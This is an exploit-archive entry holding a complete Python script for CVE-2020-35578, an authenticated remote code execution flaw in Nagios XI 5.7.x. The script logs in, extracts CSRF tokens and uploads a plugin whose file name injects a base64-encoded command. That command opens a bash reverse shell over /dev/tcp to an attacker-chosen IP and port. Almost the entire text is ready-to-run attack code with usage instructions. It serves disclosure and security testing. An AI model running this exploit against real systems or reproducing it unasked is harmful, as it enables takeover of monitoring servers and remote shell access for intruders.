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Nagios XI 5.7.x Remote Code Execution

Nagios XI 5.7.x Remote Code Execution
Posted Jan 14, 2021
Authored by Haboob Team

Nagios XI version 5.7.x authenticated remote code execution exploit.

tags | exploit, remote, code execution
advisories | CVE-2020-35578
SHA-256 | a119b58a59d4b77e207cb105c66e07013d9044d73c89ebfb091d7bd8b48bda06

Nagios XI 5.7.x Remote Code Execution

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# Exploit Title: Nagios XI 5.7.X - Remote Code Exection RCE (Authenticated)
# Date: 19/12/2020
# Exploit Author: Haboob Team (https://haboob.sa)
# Vendor Homepage: https://www.nagios.com/products/nagios-xi/
# Version: Nagios XI 5.7.x
# Tested on: (Ubuntu 18.04 / PHP 7.2.24) & Vendor's custom VM
# CVE: CVE-2020-35578

#!/usr/bin/python3

# pip3 install bs4 lxml
import requests
import sys
import warnings
from bs4 import BeautifulSoup
import base64
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

if len(sys.argv) != 6:
print("[~] Usage : python3 nagiosxi-rce.py http(s)://url username password reverse_ip reverse_port")
print("[~] Example : python3 nagiosxi-rce.py https://192.168.224.139 nagiosadmin P@ssw0rd 192.168.224.138 443")
exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

request = requests.session()


def login():
# Request nsp value (Nagios Session Protection, used to prevent CSRF attacks)
nsp_str_req = request.get(url+"/nagiosxi/login.php", verify=False)
content = nsp_str_req.text
soup = BeautifulSoup(content, "lxml")
nsp_str = soup.find_all('input')[0].get('value')
print("[+] Extract login nsp token : %s" % nsp_str)

# Login
login_info = {
"nsp": nsp_str,
"pageopt": "login",
"username": username,
"password": password
}
login_request = request.post(url + "/nagiosxi/login.php", login_info, verify=False)
login_text = login_request.text

# Check Login Status
if "Core Config Manager" in login_text:
return True
else:
print("[-] Login ... Failed!")
return False



def execute_payload():
# Request nsp value (Nagios Session Protection, used to prevent CSRF attacks)
print("[+] Request upload form ...")
nsp_str_req = request.get(url+"/nagiosxi/admin/monitoringplugins.php", verify=False)
content = nsp_str_req.text
soup = BeautifulSoup(content, "lxml")
nsp_str = soup.find_all('input')[1].get('value')
print("[+] Extract upload nsp token : %s" % nsp_str)

# Payload Base64 Encoding
payload_decoded = "bash -i >& /dev/tcp/%s/%s 0>&1" % (ip, port)
payload_bytes = payload_decoded.encode('ascii')
base64_bytes = base64.b64encode(payload_bytes)
payload_encoded = base64_bytes.decode('ascii')
payload = ";echo " + payload_encoded + " | base64 -d | bash;#"
print("[+] Base64 encoded payload : %s" % payload)

# Payload Execution
multipart_form_data = {
'upload': (None, '', None),
'nsp': (None, nsp_str, None),
'uploadedfile': (payload, 'whatever', 'text/plain'),
'convert_to_unix': (None, '1', None),
}
print("[+] Sending payload ...")
print("[+] Check your nc ...")
rce = request.post(url +"/nagiosxi/admin/monitoringplugins.php", files=multipart_form_data, verify=False)



if login():
print("[+] Login ... Success!")
execute_payload()

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